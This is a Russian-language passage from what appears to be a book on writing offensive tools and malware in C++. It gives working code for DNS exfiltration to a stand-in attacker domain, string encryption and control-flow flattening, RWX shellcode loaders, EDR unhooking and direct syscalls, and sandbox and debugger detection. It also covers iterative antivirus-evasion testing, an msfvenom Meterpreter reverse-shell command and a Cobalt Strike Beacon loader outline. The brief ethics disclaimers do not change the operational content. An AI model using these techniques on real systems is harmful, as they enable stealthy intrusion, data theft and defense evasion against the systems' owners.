Теперь перейдем к эксфильтрации. Самый очевидный метод - отправка данных через сырое TCP или HTTP соединение, но это также легко обнаружить. Вместо этого скрытые каналы используют обычное поведение системы - DNS-запросы, ICMP-пинги, веб-трафик или даже временные интервалы между исходящими соединениями.
Один из скрытых методов - кодирование и отправка небольших фрагментов данных лога в субдомене DNS-запроса. Например, если данные "keystroke1" закодированы в base32 как a1b2c3, запрос может быть сделан к a1b2c3.attacker.com. На стороне сервера ваш контролируемый DNS-сервер регистрирует эти запросы и реконструирует данные.

Вот упрощённый пример на C++ для отправки DNS-запроса с использованием WinSock:

#include <winsock2.h>
#include <windns.h>
#include <iostream>
#pragma comment(lib, "dnsapi.lib")
#pragma comment(lib, "ws2_32.lib")
int main() {
DNS_RECORD* pRecord;
DNS_STATUS status = DnsQuery_A("data.attacker.com",
DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &pRecord,
NULL);
if (status == 0) {
std::cout << "Query sent successfully.\n";
DnsRecordListFree(pRecord, DnsFreeRecordList);} else {
std::cerr << "DNS Query failed.\n";
}
return 0;
}


На практике вы бы заменили "data.attacker.com" закодированными сегментами вашего журнала. Поскольку исходящий DNS разрешен практически везде, этот метод позволяет избежать блокировок брандмауэром и сливается с обычной активностью системы.
Другая хитрая тактика включает сокрытие эксфильтрации внутри веб-трафика. Вы можете встроить свои данные в качестве параметра в GET-запрос к домену, выглядящему безобидно. Принимающий сервер просто считывает строку запроса и сохраняет информацию. Это хорошо вписывается в среды, где HTTPS-трафик разрешен, но проверяется нестрого.
Чтобы сделать вещи еще более скрытными, рассмотрите возможность шифрования данных перед кодированием. Простая операция XOR или AES гарантирует, что полезная нагрузка не будет понята, даже если она будет замечена при передаче.
Скрытая обработка данных является краеугольным камнем любого набора инструментов для наступательной безопасности. Недостаточно просто запускать код - вам нужно иметь возможность общаться с вашей инфраструктурой, не вызывая тревоги. Скрытое ведение журналов и эксфильтрация позволяют именно это. Но эти возможности всегда должны использоваться этично и законно, в рамках операций red team, исследовательских лабораторий или контролируемых взаимодействий.


Глава 8 - Обфускация кода и методы уклонения​


Эта глава посвящена тому, как сделать ваш C++ вредоносный код или инструменты red team более трудными для обнаружения, анализа или реверс-инжиниринга. Современные решения AV и EDR полагаются не только на статические сигнатуры - они анализируют поведение, поток выполнения и взаимодействия с системой. Чтобы избежать обнаружения, злоумышленники полагаются на широкий спектр методов уклонения.
Вы начнете с изучения того, как реструктурировать логику вашей программы с помощью сглаживания потока управления (control flow flattening) и шифрования конфиденциальных строк, чтобы затруднить реверс-инжиниринг. Затем вы перейдете к техникам упаковки (packing) и генерации полиморфного кода, которые изменяют структуру бинарного файла при каждой компиляции или загрузке. Вы изучите методы, используемые для обхода как традиционных антивирусов, так и современных движков поведенческого обнаружения. Далее вы узнаете, как определить, выполняется ли ваш бинарный файл в виртуализированной среде или песочнице, и соответствующим образом адаптировать его поведение. Наконец, вы увидите, как тестировать скомпилированные полезные нагрузки на реальных антивирусных движках для оценки уровня обнаружения и уточнения ваших методов.
Эта глава вооружит вас практическими знаниями из реального мира о том, как продвинутые злоумышленники опережают защитников.

8.1 Сглаживание потока управления и шифрование строк​


Когда вы пишете вредоносный код или инструменты для наступательных действий на C++, структура вашего кода и строки могут стать немедленными красными флажками при статическом анализе. Аналитики безопасности и реверс-инженеры в значительной степени полагаются на идентификацию читаемых строк и предсказуемых структур управления. Поэтому, чтобы затруднить реверс-инжиниринг и уклониться от обнаружения статическими сканерами, злоумышленники полагаются на две мощные техники: сглаживание потока управления и шифрование строк.
Шифрование строк заключается в сокрытии конфиденциальных данных, встроенных в бинарный файл. Это могут быть любые данные: от имен API до IP-адресов, жестко закодированных ключей или командных строк. Если эти значения появляются в открытом тексте, такие инструменты, как strings или дизассемблеры, делают их мгновенно видимыми. Чтобы предотвратить это, злоумышленники обычно шифруют такие строки и расшифровывают их только во время выполнения.
Простым и эффективным методом для этого является XOR-шифрование. Вы выбираете ключ и XOR-ите каждый символ строки с ним. Та же операция расшифровывает ее. Вот пример использования жестко закодированной строки:

#include <iostream>
#include <string>

std::string xor_encrypt_decrypt(const std::string& input, char key) {
    std::string output = input;
    for (auto& ch : output) {
        ch ^= key;
    }
    return output;
}

int main() {
    const char key = 0x5A;
    std::string original = "malicious_payload";
    std::string encrypted = xor_encrypt_decrypt(original, key);
    std::string decrypted = xor_encrypt_decrypt(encrypted, key);

    std::cout << "Encrypted: " << encrypted << std::endl;
    std::cout << "Decrypted: " << decrypted << std::endl;
}


При компиляции эта программа выводит как обфусцированную, так и читаемую версии. Но если аналитик проинспектирует бинарный файл напрямую, он не увидит открытый текст до момента выполнения.
Теперь о сглаживании потока управления. Это техника, используемая для обфускации логической структуры программы. Вместо того чтобы позволять функциям и циклам естественно проходить через ветвления и операторы return, сглаживание превращает логику управления в цикл диспетчера. Каждый блок логики перемещается в помеченный сегмент, а центральный switch или таблица переходов определяет, какой блок будет выполнен следующим. Это затрудняет восстановление осмысленной структуры декомпиляторами. Такие инструменты, как IDA Pro или Ghidra, испытывают трудности с представлением четкого графа вызовов или выполнения при столкновении с таким подходом.

Вот простая трансформация. Возьмем этот код:

void payload() {
    std::cout << "Stage 1" << std::endl;
    std::cout << "Stage 2" << std::endl;
    std::cout << "Stage 3" << std::endl;
}


После сглаживания вы получите:

void payload_flattened() {
    int state = 0;
    bool exit = false;
    while (!exit) {
        switch (state) {
            case 0:
                std::cout << "Stage 1" << std::endl;
                state = 1;
                break;
            case 1:
                std::cout << "Stage 2" << std::endl;
                state = 2;
                break;
            case 2:
                std::cout << "Stage 3" << std::endl;
                exit = true;
                break;
        }
    }
}


С точки зрения компилятора, эта функция делает одно и то же. Но когда реверс-инженер открывает бинарный файл, становится труднее понять, как выглядел исходный поток управления.

В реальных вредоносных программах эти методы часто комбинируются. Зашифрованные строки могут быть расшифрованы внутри сглаженного цикла, а логика может использовать намеренно запутанные конечные автоматы. Вы можете даже увидеть такие структуры, как вычисляемый goto, встроенный ассемблер или непрозрачные предикаты, добавленные для дальнейшего усложнения.

В Windows это становится интереснее, когда вы сочетаете эти методы с вызовами WinAPI. Вместо прямого вызова CreateProcessA вы шифруете строку, динамически разрешаете функцию из PEB и вызываете ее изнутри сглаженного блока кода. Это полностью нарушает статические сигнатуры обнаружения и заставляет аналитика заниматься отладкой во время выполнения.
Использование таких методов требует осторожности. Плохо реализованное шифрование строк может оставить ключи видимыми в памяти. Плохая стратегия сглаживания может сделать ваш собственный код нечитаемым и подверженным ошибкам. Но при правильном выполнении эти подходы бесценны для инструментов red team и операций с вредоносным ПО.

8.2 Упаковка и полиморфный код

Когда вы распространяете полезную нагрузку, будь то имплант red team или вредоносный дроппер, вы сталкиваетесь с одним основным препятствием - обнаружением. Антивирусные движки на основе сигнатур, файловый фингерпринтинг и даже поведенческие эвристики могут пометить ваш бинарный файл до его выполнения. Два практических контрмеры - это упаковка и полиморфный код. Оба направлены на сокрытие фактической структуры или поведения бинарного файла без изменения его предполагаемого результата.

Упаковка, по сути, заключается в обертывании вашего исполняемого файла загрузчиком. Этот загрузчик распаковывает или расшифровывает полезную нагрузку во время выполнения, в памяти, непосредственно перед выполнением. С точки зрения инструментов статического анализа или антивирусных движков, фактическая вредоносная логика полностью скрыта. Все, что они видят, - это заглушка (stub), обычно небольшая и выглядящая стандартно.

Базовый пример будет включать сжатие полезной нагрузки с использованием простого алгоритма, такого как LZNT1 или RtlCompressBuffer (в Windows), встраивание сжатых данных в ваш бинарный файл и написание короткого загрузчика для распаковки и запуска.
Вот минимальная демонстрация:

#include <windows.h>
#include <iostream>

unsigned char compressed_payload[] = { /* compressed shellcode or
executable bytes */ };

void run_payload(const unsigned char* data, size_t size) {
    void* exec = VirtualAlloc(0, size, MEM_COMMIT,
                              PAGE_EXECUTE_READWRITE);
    if (exec) {
        memcpy(exec, data, size);
        ((void(*)())exec)();
    }
}

int main() {
    // This example assumes 'compressed_payload' is already
    // decompressed
    run_payload(compressed_payload, sizeof(compressed_payload));
}


В реальном сценарии compressed_payload будет храниться в зашифрованном и сжатом формате, а ваша заглушка сначала вызовет функцию распаковки, а затем передаст управление выходному буферу.

Полиморфный код идет дальше. Вместо сокрытия всей полезной нагрузки, вы изменяете бинарное представление кода при каждом поколении или выполнении - не меняя его логику. Это может быть сделано путем введения бессмысленных инструкций (NOPs), переупорядочивания независимых инструкций или кодирования блоков кода по-разному.

Например, предположим, у вас есть такая полезная нагрузка:

MessageBoxA(0, "Hacked", "Info", 0);


Полиморфный движок создаст несколько вариантов той же логики. Один раз он может использовать инструкции push для передачи аргументов, в другой раз он может переместить значения в регистры и вызвать функцию косвенно. Конечное поведение остается прежним, но последовательность байтов меняется - что делает обнаружение по сигнатурам гораздо более трудным.

Реализация простого полиморфного обертки на C++ может генерировать различные машинные инструкции во время выполнения, используя шаблоны ассемблера или шеллкода. Библиотеки, такие как AsmJit, позволяют динамически генерировать код во время выполнения.

Вот упрощенный концептуальный набросок:

#include <asmjit/asmjit.h>

void generate_and_run() {
    using namespace asmjit;
    JitRuntime rt;
    CodeHolder code;
    code.init(rt.environment());
    x86::Assembler a(&code);

    a.mov(x86::eax, 1);
    a.add(x86::eax, 2);
    a.ret();

    typedef int (*Func)();
    Func fn;
    rt.add(&fn, &code);

    std::cout << "Result: " << fn() << std::endl;
    rt.release(fn);
}


Каждый раз, когда вы динамически генерируете код, вы можете вводить небольшие изменения, такие как перестановка регистров или мусорные инструкции, которые делают каждую сборку уникальной - даже если функциональность не меняется.

Семейства вредоносных программ, такие как Zeus, Cerber и современные штаммы программ-вымогателей, используют продвинутые полиморфные движки, которые переписывают свои полезные нагрузки каждые несколько часов, гарантируя, что каждый бинарный файл имеет уникальный хэш. В сочетании с упаковщиками это приводит к созданию полезных нагрузок, которые обходят как статическое обнаружение, так и многие поведенческие песочницы.

Вы также можете создавать многоступенчатые загрузчики. Первая ступень расшифровывает вторую ступень, которая сама может быть упакована или полиморфной. Это многоуровневое сокрытие затрудняет отладку, замедляет реверс-инжиниринг и выигрывает время во время активных кампаний.

Инструменты, такие как UPX, предлагают базовую функциональность упаковки, и хотя они известны и часто обнаруживаются, пользовательские варианты все еще могут быть эффективными, если их немного подкорректировать. Написание собственного упаковщика, адаптированного к архитектуре вашей полезной нагрузки, дает вам полный контроль над уклонением от обнаружения и компоновкой памяти.
Для операций red team эти методы не направлены на причинение вреда - они направлены на создание устойчивости в тестовых инструментах и демонстрацию того, что даже одно только сигнатурное обнаружение недостаточно. Они также заставляют защитников больше инвестировать в поведенческое обнаружение, сканирование памяти и уклонение от песочниц.

8.3 Методы уклонения от антивирусов и EDR​


К тому времени, когда ваш код попадает в целевую среду, главные препятствия - это уже не люди, а автоматизированные системы защиты. Антивирусное программное обеспечение сканирует бинарные файлы как статически, так и во время выполнения, в то время как современные решения Endpoint Detection and Response (EDR) добавляют аналитику на основе поведения, памятью криминалистику, перехваты событий на уровне ядра и ИИ-усиленное моделирование угроз. Преодоление этих защит - техническая задача, которая часто требует глубоких знаний как внутренних механизмов Windows, так и ограничений движков обнаружения.

Начнем со статического обнаружения. Большинство антивирусных движков полагаются на сопоставление сигнатур. Они анализируют байтовые шаблоны вашего скомпилированного бинарного файла, таблицы импорта, имена секций и строки. Поэтому ваш первый шаг - сделать бинарный файл отличным при каждой компиляции. Обфускация строк - это базовый метод: шифрование распространенных имен API, таких как "CreateRemoteThread" или "LoadLibraryA", с использованием XOR или AES, а затем их расшифровка во время выполнения. Но этого одного недостаточно для более глубокого анализа.

Чтобы пойти дальше, сгладьте ваши импорты. Если ваш бинарный файл имеет явные ссылки на конфиденциальные API в таблице импорта, это явный признак. Ручное разрешение этих API во время выполнения путем обхода PEB (Process Environment Block) и динамического вызова GetProcAddress из загруженного kernel32.dll или ntdll.dll позволяет избежать оставления очевидных отпечатков.

Вот небольшой фрагмент C++, который делает это динамически:

HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
FARPROC loadLibrary = GetProcAddress(kernel32,
                                     "LoadLibraryA");


Избегая стандартной таблицы адресов импорта, вы минимизируете то, что антивирусные движки могут использовать для сопоставления с вами. Это также помогает при реализации косвенных системных вызовов, где вы напрямую используете номер системной службы вместо вызова через обычные заглушки API.

EDR обмануть сложнее. Они перехватывают чувствительные API и отслеживают выделение памяти, создание потоков, внедрение DLL и сетевой трафик. Одна из распространенных тактик уклонения - это снятие перехвата API (API unhooking). Поскольку EDR размещают трамплины в начале критических функций, таких как NtOpenProcess или CreateRemoteThread, вы можете сканировать эти изменения в памяти и восстанавливать исходные инструкции, используя копии из чистого образа диска или известные заглушки системных вызовов.

Вы также можете избежать отслеживаемых пользовательских API, выполняя прямые системные вызовы с использованием вручную написанного ассемблера. Инструменты, такие как SysWhispers2 и Hell’s Gate, помогают генерировать эти заглушки системных вызовов для систем Windows 10+, обходя перехваты пользовательского режима полностью. Вызывая низкоуровневые функции NT напрямую, вы обходите то, что могут видеть большинство агентов EDR в пользовательском пространстве.
Эта техника выглядит следующим образом на практике:

typedef NTSTATUS (NTAPI *NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, ULONG, PULONG);
NtWriteVirtualMemory_t NtWriteVirtualMemory =
    (NtWriteVirtualMemory_t)GetProcAddress(ntdll, "NtWriteVirtualMemory");


Затем вы бы заменили этот указатель чистой заглушкой системного вызова, избегая пропатченной версии.
Время также играет роль. Если вы знаете, что решение EDR группирует журналы или имеет задержку в обнаружении, вы можете использовать маскировку сна (sleep masking) - перезаписывая функцию сна, чтобы ваша программа выглядела неактивной. Вы также можете использовать "забивание" потоков (thread stomping) для угона безобидных потоков (например, системного) и внедрения туда вашего шеллкода вместо создания нового потока, который может быть помечен.

Другая техника уклонения включает выполнение только в памяти, без следа на диске. Вы используете отражающую загрузку DLL (reflective DLL loading), вытравливание процессов (process hollowing) или даже более продвинутые методы, такие как транзакционные внедрения файлов через NTFS, которые никогда полностью не фиксируют файл на диске, но все же выполняют его. Вот пример загрузки полезной нагрузки непосредственно из памяти:

void* exec = VirtualAlloc(nullptr, payloadSize, MEM_COMMIT,
                          PAGE_EXECUTE_READWRITE);
memcpy(exec, payloadData, payloadSize);
((void(*)())exec)();


Некоторые red team идут так далеко, что модифицируют легитимные бинарные файлы Windows в памяти и используют их в качестве хостов - например, внедряя код в wermgr.exe или svchost.exe, которые редко блокируются. Эта тактика, известная как "двойничество процессов" (process doppelgänging) или "вытравливание", позволяет вашей полезной нагрузке наследовать доверие от подписанного бинарного файла.

В реальных операциях эти методы редко используются изолированно. Вместо этого применяется многоуровневый подход: сначала упаковка и шифрование полезной нагрузки, затем динамическое разрешение импортов, прямое вызов системных вызовов и, наконец, внедрение в доверенный процесс.

Важно то, что вы делаете каждый артефакт временным. EDR могут сканировать только то, что они могут наблюдать. Если ваш код расшифровывается, выполняется и самоочищается в памяти, вы сокращаете время воздействия. А в сочетании с легитимными шаблонами трафика и стандартными инструментами, уже имеющимися в среде, вы можете действовать в пробелах - то, что защитники называют "жизнью за счет земли" (living off the land).

8.4 Обнаружение песочниц и трюки против виртуальных машин​


Когда вы пишете полезные нагрузки, дропперы или полноценные вредоносные программы на C++, одним из самых распространенных ранних препятствий является не сигнатура антивируса, а песочница. Песочницы - это изолированные, контролируемые среды, используемые антивирусными движками и исследователями безопасности для наблюдения за поведением подозрительных бинарных файлов. Если ваш исполняемый файл анализируется в одной из них, его действия регистрируются, его вызовы API записываются, а его выполнение потенциально останавливается или блокируется до того, как он сможет начать выполнять осмысленную работу.

Чтобы избежать обнаружения и анализа, ваш код должен знать, где он выполняется. Процесс обнаружения того, находитесь ли вы внутри песочницы или виртуализированной среды, является ценной контрмерой защиты, которую используют разработчики наступательных инструментов для предотвращения раскрытия. Цель - выявить красные флажки - вещи, которых обычно нет в реальных пользовательских системах - и либо тихо выйти, либо вести себя иначе, пока опасность не минует.

Начнем с базовых индикаторов. Большинство песочниц работают с минимальными системными ресурсами. Вы можете проверить абсурдно низкое количество ОЗУ или ядер процессора как быструю эвристику. Например, многие среды автоматизированного анализа выделяют всего одно ядро процессора и 2 ГБ ОЗУ.
Вот как вы можете проверить это в C++:

SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
if (sysInfo.dwNumberOfProcessors <= 1) {
    ExitProcess(0);
}


Еще один простой сигнал - поиск определенных имен процессов и заголовков окон, которые часто сопровождают песочницы и виртуальные машины. Инструменты, такие как Cuckoo Sandbox, Joe Sandbox или Any.Run, часто запускают вспомогательные процессы, такие как vboxservice.exe, vmtoolsd.exe, или даже поддельные пользовательские процессы с именами вроде malware.exe. Вы можете искать эти запущенные процессы, используя CreateToolhelp32Snapshot.

Вы также можете захотеть запросить известные ключи реестра или имена устройств, которые существуют только внутри виртуализированных сред. VMware создает специальные ключи реестра, такие как:

HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__


И вы можете обнаружить их так:

HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
                  "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, KEY_READ, &hKey) ==
    ERROR_SUCCESS) {
    RegCloseKey(hKey);
    ExitProcess(0);
}


Для немного более продвинутого подхода проверьте MAC-адреса. VMware, VirtualBox и Hyper-V часто используют предсказуемые префиксы MAC-адресов, такие как 00:05:69 или 08:00:27. Вы можете использовать GetAdaptersInfo для получения сведений о сетевых адаптерах и пометить любые подозрительные префиксы.

Вы также можете проверить строки BIOS. Виртуальные машины обычно имеют строки, такие как "VMware", "VirtualBox" или "QEMU", встроенные в данные BIOS. Используйте GetSystemFirmwareTable или запросы WMI для чтения этой информации и действуйте соответствующим образом.

Далее вы можете эскалировать свои проверки. Временное уклонение особенно полезно. Например, вы можете вызвать Sleep(10000) и затем использовать GetTickCount, чтобы увидеть, действительно ли прошли ожидаемые 10 секунд. Некоторые песочницы ускоряют время или пропускают вызовы sleep полностью, чтобы анализировать быстрее. Если разница подозрительно мала, ваш код, вероятно, находится под наблюдением.

DWORD start = GetTickCount();
Sleep(10000);
DWORD end = GetTickCount();
if (end - start < 8000) {
    ExitProcess(0);
}


Вы также можете обнаружить отсутствие пользовательского взаимодействия. Большинство песочниц не имитируют движение мыши или ввод с клавиатуры, если они не настроены на это. Вы можете использовать такие API, как GetLastInputInfo, чтобы проверить, как давно было последнее событие ввода, и GetCursorPos в сочетании с таймером для обнаружения движения с течением времени.
Вот один трюк, использующий обнаружение активности пользователя:

LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
GetLastInputInfo(&lii);
DWORD idleTime = GetTickCount() - lii.dwTime;
if (idleTime > 30000) {
    ExitProcess(0);
}


Это проверяет, был ли пользователь неактивен более 30 секунд - ситуация, распространенная в средах песочниц.

Более продвинутые настройки используют API антиотладки и низкоуровневые инструкции для ловушек инструментов анализа. Вы можете использовать IsDebuggerPresent, CheckRemoteDebuggerPresent или напрямую проинспектировать PEB на наличие флага BeingDebugged. Даже проверка поведения обработки исключений с использованием недопустимых инструкций или ошибок деления на ноль может помочь вам обнаружить, когда кто-то пошагово проходит ваш код.

Вот пример, который вызывает намеренное исключение и проверяет результат:

__try {
__asm {
int 3 // trigger breakpoint
}
} __except (EXCEPTION_EXECUTE_HANDLER) {
ExitProcess(0);
}


В реальной системе этот код просто завершит работу. В отладчике int 3 вызовет срабатывание точки останова.
Каждой из этих техник по отдельности может быть недостаточно. Песочницы и виртуальные машины быстро развиваются, и злоумышленникам необходимо комбинировать несколько проверок и выполнять их незаметно. Идея состоит не в том, чтобы заставить песочницу дать сбой, а в том, чтобы тихо исчезнуть, если что-то кажется подозрительным.
Наиболее успешные пейлоады команд red team осведомлены о своей среде выполнения и действуют соответствующим образом. Если не обнаружено никакой активности пользователя, машина имеет подозрительные строки в прошивке, а у системы слишком мало памяти - вероятно, нет смысла выполнять пейлоад. Вместо этого он может просто завершиться, отложить выполнение или симулировать обычное поведение.8.5 Тестирование вашего бинарного файла против реальных антивирусных движков
После того как вы написали свой вредоносный код или инструмент red team на C++, следующим важным этапом является понимание того, как он противостоит реальным системам защиты.
Одно дело - написать пейлоад, который работает в лаборатории. Другое - знать, будут ли антивирусное программное обеспечение, системы обнаружения и реагирования на конечных точках (EDR) или движки поведенческого анализа немедленно его обнаруживать.
Тестирование против реальных антивирусных движков дает ценное представление о том, насколько обнаруживаемы ваши бинарные файлы и какие конкретные части вашего кода или поведения обнаруживаются. Такой тип обратной связи необходим, если вы создаете что-либо, предназначенное для операций red team, скрытых исследований или тестирования на обход защиты.
Первое, что вам нужно, - это безопасная и легальная среда для проведения такого рода тестирования. Это означает работу в изолированной виртуальной машине (air-gapped), отделенной от любой производственной сети. На машине должны быть включены снимки состояния (snapshots), чтобы вы могли в любой момент вернуться в чистое состояние. Никогда не запускайте потенциально вредоносный код на своей основной рабочей станции или в общей корпоративной среде.

Большинство разработчиков начинают с загрузки своих бинарных файлов на VirusTotal. Хотя это дает вам быстрое, широкое представление о вашем показателе обнаружения по десяткам антивирусных движков, вы должны относиться к этому с осторожностью. Когда вы загружаете файл на VirusTotal, ваш бинарный файл передается всей антивирусной индустрии. Это означает, что сигнатуры, поведение и хэши файлов могут быть распространены по всему миру в течение нескольких часов. VirusTotal отлично подходит для моментального тестирования, но не для конфиденциальных или частных пейлоадов.
Чтобы избежать утечки частного кода, многие специалисты по red team настраивают локальные антивирусные движки в виртуальных машинах. Например, вы можете установить Windows Defender, Avast или Bitdefender в своей лаборатории анализа вредоносного ПО и тестировать свой код напрямую.Это позволяет наблюдать, обнаруживает ли статический сигнатурный анализ файл при доступе к диску, или он обнаруживается только во время выполнения через поведенческий анализ.
Один из способов протестировать ваш бинарный файл - скопировать его в виртуальную машину и попытаться выполнить. Если он помещен в карантин или удален, обнаружение, вероятно, статическое. Если он выполняется, но блокируется позже, обнаружение является поведенческим или эвристическим. Вы можете многое узнать, изменяя свой код между сборками. Например, изменение потока управления функции, переименование строк или разбиение шаблонов выделения памяти может кардинально изменить результат.
Вот практическое упражнение. Начните с очень простого пейлоада обратной оболочки (reverse shell) на C++, возможно, с использованием WinExec или CreateProcessA для запуска cmd.exe. Как только вы убедитесь, что пейлоад обнаруживается Windows Defender, начните изменять его поведение. Попробуйте использовать косвенные вызовы функций, команды, закодированные XOR, или выполнение шелл-кода в куче вместо прямых системных вызовов. Тестируйте каждую сборку, записывайте, какие методы обходят движок, и сопоставляйте эти результаты с внесенными вами изменениями.
Вот очень простой пример на C++, который вызовет оповещение Defender:

#include <windows.h>
int main() {
WinExec("cmd.exe /c whoami", SW_HIDE);
return 0;
}


Теперь попробуйте заменить команду на закодированную версию, декодировать ее во время выполнения и запустить процесс, используя низкоуровневые API, такие как CreateProcessInternalW. Отслеживайте, снижается ли уровень обнаружения. Эта разница даст вам представление о том, как построены сигнатурные движки.
Другой отличный метод - использование инструментов для тестирования обхода антивирусов, таких как PEStudio, ThreatCheck или API Monitor. Эти инструменты предоставляют вам информацию об импортах, секциях и поведении, которые ваш бинарный файл представляет системе. Они покажут, являются ли определенные API Windows потенциально обнаруживаемыми, или ваш бинарный файл демонстрирует черты, похожие на вредоносное ПО, такие как "полые" процессы (hollowed processes) или области памяти RWX.
Вы также можете создать тестовый фреймворк (testing harness), который будет выполнять ваш бинарный файл несколько раз с разными аргументами, ожидать такого поведения, как обратные вызовы (callbacks) или создание файлов, и записывать результат. Используйте логирование или даже небольшой HTTP-слушатель для отслеживания успешных выполнений. Это даст вам поведенческую обратную связь, даже если бинарный файл частично заблокирован или его сетевые коммуникации прерваны антивирусом.

Если вы симулируете маякование (beaconing) или поведение обратных вызовов, Wireshark или Sysmon могут дать вам представление о том, перехватывается ли сетевой трафик, модифицируется или обнаруживается. Обратная оболочка, которая не смогла достичь вашего командного сервера, могла быть остановлена локальным брандмауэром или монитором конечных точек.
Тестирование против EDR является более продвинутым. Вендоры, такие как CrowdStrike, SentinelOne или Microsoft Defender for Endpoint, часто обнаруживают поведение выделения памяти, попытки вмешательства или шаблоны внедрения DLL. Эти движки обычно работают на уровне ядра и могут не отображать видимых оповещений - но они молча блокируют пути выполнения или завершают подозрительные потоки. Чтобы протестировать их, вам нужно симулировать реальные пользовательские машины с установленными этими инструментами или работать с лабораторией red team, имеющей лицензионные копии для наступательных исследований.

Всегда ведите журналы каждого тестового запуска - что вы изменили, против какого антивирусного продукта тестировали и каковы были результаты. Со временем вы разовьете интуицию относительно того, какие шаблоны представляют низкий риск, а какое поведение будет быстро обнаружено. Это основа создания вредоносного ПО, которое может выжить в дикой природе, или создания инструментов red team, которые не будут уничтожены в тот момент, когда они попадут на целевую машину.
Наконец, помните о законности. Никогда не загружайте пейлоады на VirusTotal, если они являются частью операции или могут быть отслежены до конфиденциальной инфраструктуры. И всегда действуйте в рамках авторизованного тестирования.


Глава 9 - Взаимодействие C++ с наступательными фреймворками​


Когда вы создаете наступательные инструменты или пейлоады на C++, часто речь идет не просто о написании автономного бинарного файла. Настоящая мощь заключается в возможности интегрировать написанное вами с более крупными наступательными фреймворками, такими как Metasploit, Cobalt Strike, Empire или пользовательскими C2-платформами. Эти фреймворки берут на себя основную работу - персистентность, шифрование, стажинг, маякование - в то время как вы сосредоточены на доставке специализированных модулей или имплантов, которые действуют как пейлоады первой стадии или пост-эксплуатации.
Эта глава проведет вас через то, как пейлоады на C++ вписываются в более крупную цепочку инструментов, как создавать пользовательские загрузчики или стаггеры, как связывать код на C++ с PowerShell или Python для гибридных пейлоадов, и как автоматизировать генерацию и развертывание для повышения эффективности и согласованности. Здесь навыки работы с "чистым" C++ встречаются с операционной полезностью, давая вам инструменты, которые не только мощны, но и применимы в реальных сценариях red team.

9.1 Создание пейлоадов для Metasploit и Cobalt Strike​


Когда вы пишете пейлоады на C++, которые должны интегрироваться с мощными наступательными фреймворками, такими как Metasploit или Cobalt Strike, цель состоит в создании высококонтролируемых, легко развертываемых бинарных файлов, которые могут быть встроены в поэтапные или бесэтапные цепочки атак. Эти инструменты ожидают корректно работающие, резидентные в памяти пейлоады, которые могут взаимодействовать с соответствующей инфраструктурой командно-контроля, оставаясь незаметными под пристальным вниманием средств защиты. Ваш код на C++ должен быть не просто функциональным - он должен быть совместимым, эффективным и адаптированным к моделям доставки фреймворка.
В Metasploit рабочий процесс обычно начинается с генерации необработанного шелл-кода с помощью msfvenom. Этот шелл-код может быть встроен непосредственно в бинарный файл на C++, который выделяет память, записывает в нее пейлоад и переходит к точке входа. Давайте посмотрим, как это делается.
Для начала используйте msfvenom для генерации пейлоада Meterpreter reverse shell и вывода его в формате, совместимом с C:

msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.100 LPORT=4444 -f c


Эта команда возвращает длинный массив байтовых значений. Ваша задача на C++ - встроить этот массив в бинарный файл, а затем динамически выделить память, скопировать в нее шелл-код и выполнить его с помощью указателя на функцию.
На практике ваш код на C++ может выглядеть так:

#include <windows.h>
#include <iostream>
unsigned char payload[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, ... // msfvenom шелл-код усечен
};
int main() {
void* exec = VirtualAlloc(0, sizeof(payload), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(exec, payload, sizeof(payload));
((void(*)())exec)();
return 0;
}


Этот шаблон чрезвычайно распространен как в red teaming, так и в разработке вредоносного ПО. Использование VirtualAlloc предоставляет вам исполняемую память, а приведение типа к указателю на функцию позволяет напрямую перейти к вашему пейлоаду. Хотя шелл-код - это просто машинные инструкции, с точки зрения процессора он ведет себя как любой другой легитимный вызов по указателю на функцию.
Слушатели Metasploit, после настройки на ожидание соединений по правильному IP и порту, получат вашу сессию Meterpreter после успешного запуска этого бинарного файла на целевой системе.
Теперь, при работе с Cobalt Strike, принцип схож, но пейлоады обычно доставляются в виде стаггеров Beacon или полностью поэтапных DLL. Beacon от Cobalt Strike часто доставляются рефлективно. Это означает, что вам нужно будет создать ваш код на C++ для поддержки загрузки DLL из памяти и ручного вызова ее точки входа.

Вместо компиляции Beacon в EXE, вы компилируете его как рефлективную DLL, а ваш C++ загрузчик позаботится об остальном. Вы считываете бинарный файл Beacon в память, парсите его PE-заголовки, выделяете место для его секций, копируете их в память, обрабатываете релокации и таблицы импорта, а затем вручную вызываете DllMain. Cobalt Strike предоставляет шаблоны рефлективных загрузчиков, написанные на C, но вы можете переписать их на C++ для лучшей структуры и читаемости.
Упрощенный подход будет включать чтение всей DLL в память, затем использование трюка с LoadLibraryA или библиотеки PE-загрузчика, такой как pe-parse, или написание собственной для ручной обработки загрузки. Второй вариант дает вам лучшую скрытность и возможности обхода, поскольку Windows не будет знать, что DLL была загружена - она никогда не коснется диска и никогда не будет использовать загрузчик Windows.
Вот примерный набросок того, что может включать ваш загрузчик:
Функция, принимающая массив байтов и размер, представляющие вашу DLL Beacon

  • ● Выделение памяти для заголовков и секций
  • ● Ручная обработка релокаций и импортов
  • ● Вызов точки входа DLL с соответствующим флагом


Существует также возможность встраивать ваш шелл-код Beacon в виде необработанных байтов, используя тот же трюк выполнения, показанный ранее. Вы можете сгенерировать этот шелл-код из консоли Cobalt Strike, используя команду stage с параметром artifact, или используя скрипты Aggressor, которые экспортируют пейлоады Beacon.
Как для Metasploit, так и для Cobalt Strike, ключевым моментом является возможность создавать пейлоады, которые загружаются надежно и незаметно, работают в соответствии с ожиданиями фреймворка и проходят через защиту AV/EDR. Именно здесь C++ сияет: он дает вам необходимый контроль для избежания обнаружения, оставаясь при этом совместимым с необработанным шелл-кодом, рефлективными DLL и полностью пользовательскими бинарными загрузчиками.

Чтобы расширить свои навыки, вы можете включить такие методы, как шифрование шелл-кода, кодирование вызовов API или рандомизация имен секций и заголовков. Эти тактики помогают вам опережать базовое сигнатурное обнаружение, особенно когда вы нацелены на корпоративные системы с активным мониторингом конечных точек.
